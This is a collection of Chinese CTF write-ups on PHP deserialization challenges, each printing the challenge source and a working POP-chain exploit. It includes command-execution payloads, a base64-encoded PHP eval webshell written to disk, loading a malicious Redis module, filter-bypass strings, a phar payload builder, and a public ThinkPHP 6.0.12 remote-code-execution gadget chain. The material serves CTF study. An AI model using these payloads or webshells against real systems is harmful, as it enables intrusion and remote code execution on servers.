文章目录
[NISACTF 2022]babyserialize
点开题目
源代码
**include “waf.php”**提示文件包含
反序列化加命令执行
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
pop链可以从后往前推
步骤:
-
eval反推到__invoke
eval函数可以执行我们的命令,那么得调用__invoke,(eval($...)说明要有返回值)
-
_invoke反推到_ toString
只有调用__toString可以return,当一个对象被当作字符串对待的时候,会触发这个魔术方法
-
__toString反推到__set
因为调用了strolower方法(strolower函数会把字符串转换成小写)
-
__set反推到__call
__call:对不存在的方法或者不可访问的方法进行调用就自动调用 利用 $this -> four类 -> fun = $arg[0] 就可以调用__call,因为这里正好 $fun是 private 属性
-
__call再到__wakeup
class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法 只需把$this->ext->nisa($this->x); 改成$this->Ilovetxw类->nisa($this->x); 就会自动调用call
构造payload
<?php
include "waf.php";
class NISA{
public $fun;
public $txw4ever='system("tac /f*");';
}
class TianXiWei{
public $ext;
public $x;
}
class Ilovetxw{
public $huang;
public $su;
}
class four{
public $a;
private $fun;
}
$a=new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw(); //调用_toString()
$a->ext->huang->a->su=new NISA();
echo urlencode(serialize($a));
发现不行
根据题目提示可能有过滤,用大小写绕过
改为System(“tac /f*”);
得到flag
思路总结:
__invoke --> __toString --> __set --> __call --> wakeup
NISA --> Ilovetxw --> four --> IlovetxW --> TianXiWei
[SWPUCTF 2021 新生赛]pop
源代码
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
分析:从后往前推
首先找到跟flag有关的,发现是w44m的Getflag(),结合if语句,我们要让admin = ‘w44m’ 和passwd ='08067’成立
再往前推,发现w33m的__toString()的**KaTeX parse error: Expected '}', got 'EOF' at end of input: this->w00m->{this->w22m}();**可以调用Getflag();
再往前推,w22m的echo语句可以调用__toString();
整理一下
pop链
w22m.__destruct() --> w33m.__toString() --> w44m.Getflag()
payload
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m='Getflag';
}
$a=new w22m();
$b=new w33m();
$c=new w44m();
$a->w00m=$b;
$b->w00m=$c;
echo urlencode(serialize($a));
?>
注:记得url编码
[NISACTF 2022]popchains
打开题目
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
代码审计(从后往前推)
-
首先我们找到出口
include($value)
,那么我们可以给var赋值用php伪协议去读取flag,调用append()方法得先调用 __invoke()(调用了函数方式可以调用 __invoke())
-
__invoke()
可以反推到__get()
(读取不可访问或者不存在的属性的时候,进行赋值,才能调用__get())
-
__get()
可以反推到__toString()
(因为我们可以$page不存在Make_a_Change这个类里面)
-
__toString()
可以反推到__wakeup()
(把类当成字符串的时候,因为preg_match会把变量当成字符串)
pop链
Road_is_Long.__wakeup() --> Road_is_Long.__toString() --> Make_a_Change.__get() --> Try_Work_Hard.__invoke()
payload
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var='php://filter/convert.base64-encode/resource=/flag';
}
class Make_a_Change{
public $effort;
}
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$a->page=$b;
$b->string=$c;
$c->effort=new Try_Work_Hard();
echo urlencode(serialize($a));
上传一下
base64解码得到flag
[第五空间 2021]pklovecloud
打开题目,分析源代码
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
代码审计:
- 先找出口为
file_get_contents($file)
- 调用ace的echo_name()得先调用asp的__toString()
- 调用asp的
__toString()
的条件是把类当成字符串的时候调用,可以用本身类的__construct()
来进行调用
现在我们要绕过这一段复杂的代码
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
这里可以不用管docker
因为强等于我们可以用NULL=NULL来绕过,所以我们让neutron和nova值为NULL就行
pop链
acp.__construct() --> acp.__toString() -->ace.echo_name()
payload
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($a)
{
$this->cinder = $a;
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$a = new acp(""); //第一次实例化是为了给neutron和nova赋值为NULL,使得绕过强等于
$a->neutron = NULL;
$a->nova = NULL;
$b = new ace();
$b->filename='flag.php';
$c =new acp($b); //第二次实例化acp会调用__construct方法使cinder指向ace,然后调用echo_name方法
echo urlencode(serialize($c));
- 先让neutron和nova赋值为NULL
- 再实例化ace,让filename的值为flag.php
- 最后再次实例化,并且传入参数,让center指向ace从而调用echo_name() 得到flag
发现没有flag,要把filename的值改为../nssctfasdasdflag
得到flag
[天翼杯 2021]esay_eval
打开题目
源代码
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
分析:
找到出口为eval函数
正则判断是匹配A和B开头的东西,因为类名是A,B,我们可以通过大小写绕过
因为反序列化会调用__wakeup方法,然后code就为空值,绕过只需要让项数多1就行
实例化b让指针指向a,会调用__construct()方法从而命令执行
payload
<?php
class a{
public $code = '';
function __construct(){
$this->code = "phpinfo();";
}
}
class b{}
$a=new A();
$b=new B();
$b->a=$a;
echo (serialize($b));
上传成功
写入一句话木马
<?php @eval($_POST['shell']);?>
修改payload
<?php
class a{
public $code = '';
function __construct(){
$this->code = "fputs(fopen('1.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==\"));";
}
}
class b{}
$a=new A();
$b=new B();
$b->a=$a;
echo (serialize($b));
?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:88:"fputs(fopen('1.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg=="));";}}
上传后,蚁剑连接
(记得关闭代理,因为平时用bp是8080端口)
发现访问不了上级目录
但发现有个config.php.swp
告诉我们了密码
因为这个shell没有访问权限,但是在/var/www/html中有上传权限,所以可以通过
上传恶意的so文件,通过蚁剑的redis管理插件,进行ssrf,然后包含恶意so文件
链接:exp.so
下载链接redis工具
记得解压完添加到这个文件夹下
然后进入
添加配置
随便点开一个
然后加载模组
MODULE LOAD "/var/www/html/exp.so"
输入命令,得到flag
prize_p5
源代码
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "error";
$this->data = "hacker";
}
public function __destruct()
{
echo new $this->class($this->data);
}
}
class error{
public function __construct($OTL)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
class escape{
public $name = 'OTL';
public $phone = '123666';
public $email = 'sweet@OTL.com';
}
function abscond($string) {
$filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
$filter = '/' . implode('|', $filter) . '/i';
return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
if(!preg_match('/object/i',$_GET['cata'])){
unserialize($_GET['cata']);
}
else{
$cc = new catalogue();
unserialize(serialize($cc));
}
if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
if (preg_match("/flag/i",$_POST['email'])){
die("nonono,you can not do that!");
}
$abscond = new escape();
$abscond->name = $_POST['name'];
$abscond->phone = $_POST['phone'];
$abscond->email = $_POST['email'];
$abscond = serialize($abscond);
$escape = get_object_vars(unserialize(abscond($abscond)));
if(is_array($escape['phone'])){
echo base64_encode(file_get_contents($escape['email']));
}
else{
echo "I'm sorry to tell you that you are wrong";
}
}
}
else{
highlight_file(__FILE__);
}
?>
分析一下
- 我们的出口是
file_get_contents()
,参数是$escape的email属性的值,且email正则匹配flag(不区分大小写) - phone必须为一个数组
- $escape要经过abscond($abscond),对生成的catalogue序列化字段进行关键字的替换,关键字’NSS’,‘CTF’, ‘OTL_QAQ’, ‘hello’替换成’hacker’
- get传参cata=1(随便什么都行,只要不是object)
由于abscond($string),在数组里出现的会被替换成hacker
,我们可以利用字符串逃逸绕过
我们先测试一下
<?php
class escape{
public $name = 'test';
public $phone = array('szyyds');
public $email = '/flag';
}
$a=new escape();
echo serialize($a)
?>
//输出结果 :
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}
我们如果上传这个email会被正则匹配从而无法绕过
我们可以把";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}
这一串给挤掉
但是为了保证得到flag,我们要扩张(name长度变为4+62)
O:6:"escape":3:{s:4:"name";s:66:"test";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}
问题是怎么挤掉呢
这里我们利用abscond(),假设我们name的值有一个NSS,则被替换成hacker的话长度发生改变,那么我们就可以利用被替换的长度差与被挤掉那部分的长度相等,从而实现绕过
这个被挤掉的";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}
长度为62
那么我们构造20*NSS+2*hello
,长度刚好为62
最终name的payload
O:6:"escape":3:{s:4:"name";s:126:"NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";s:6:"szyyds";s:5:"email";s:5:"/flag";}";s:5:"phone";s:6:"szyyds";s:5:"email";s:5:"/flag";}
得到base64编码的
解码得到flag
[江苏工匠杯] unseping
源代码
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
分析一下:
1.发现exec()函数
可以命令执行,帮助我们得到flag
exec($ip, $result); //$ip为执行的命令,$result为执行的结果
2.我们往前推, call_user_func_array()函数
可以调用我们需要的ping方法
只需要让method的值为ping,同时args为ping的上传参数,即执行的命令
call_user_func_array(array($this, $this->method), $this->args);
3.由于反序列化的时候会调用__wakeup()
,所以我们上传的$args得为数组,然后对$this->args数组中的每个值调用$this->waf()方法进行处理
payload
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array('id'));
echo base64_encode(serialize($a));
?>
可以发现执行成功,我们在修改下执行命令,同时绕过waf()
检测
$a=new ease("ping",array('l\s'));
我们可以直接内联执行绕过
$a=new ease("ping",array('ca\t${IFS}`find`'));
//可以查看该目录及子目录和隐藏目录所有文件
得到flag
[SWPUCTF 2021 新生赛]babyunser
打开题目,发现能上传文件和查看文件
我们查一下index.php,然后就有可以查看class.php和read.php
read.php源码
<?php
include('class.php');
$a=new aa();
?>
<body>
<h1>aa的文件查看器</h1>
<form class="search_form" action="" method="post">
<input type="text" class="input_text" placeholder="请输入搜索内容" name="file">
<input type="submit" value="查看" class="input_sub">
</form>
</body>
</html>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
class.php源码
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
分析一下,由read.php中可以看出它并没有unserilize出现,说明类型为phar反序列化
pop链子
aa.__destruct() --> zz.__toString() --> zz.write() --> ff._get() --> xx._call()
payload
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content=new xx();
}
}
class zz{
public $filename;
public $content;
}
class xx{
public $name;
public $arg;
}
$a=new aa();
$b=new zz();
$c=new ff();
$d=new xx();
$a->name=$b;
//method=write;
//var=content;
$b->filename=$c;
$c->func='system';
//cmd=cat /flag
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后就得到flag
[CISCN 2022 初赛]ezpop
打开题目,题目告诉我们thinkphp版本
我们直接去搜此版本的漏洞
发现ThinkPHP6.0.12LTS 存在反序列化漏洞
我们用御剑扫一下,发现有./www.zip
,读取源码
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
public function test()
{
unserialize($_POST['a']);
}
}
在index.php下的index类中的test方法找到路由,即./index.php/index/test
我们直接利用网上写好的pop链
<?php
namespace think {
abstract class Model
{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = '')
{
$this->lazySave = True;
$this->data = ['whoami' => ['ls /']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami', ['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace {
echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
然后bp抓包,修改请求方式查看目录
修改下命令
得到flag
[UUCTF 2022 新生赛]ez_unser
源代码
<?php
show_source(__FILE__);
###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
分析一下,有eval函数可以命令执行,但是__wakeup()
会让a的值为空。
同时正则匹配不让我们修改属性个数绕过__wakeup()
,这就是个难题
可利用点为$this->b=$this->c;
,所以我们可以引用赋值绕过__wakeup()
payload
<?php
class test{
public $a;
public $b;
public $c;
}
$t=new test();
$t->c="system('ls /');";
$t->b=&$t->a;
echo serialize($t);
?>
注:$t->b=&$t->a;
意味着它们引用相同的内存地址,它们指向相同的值
得到flag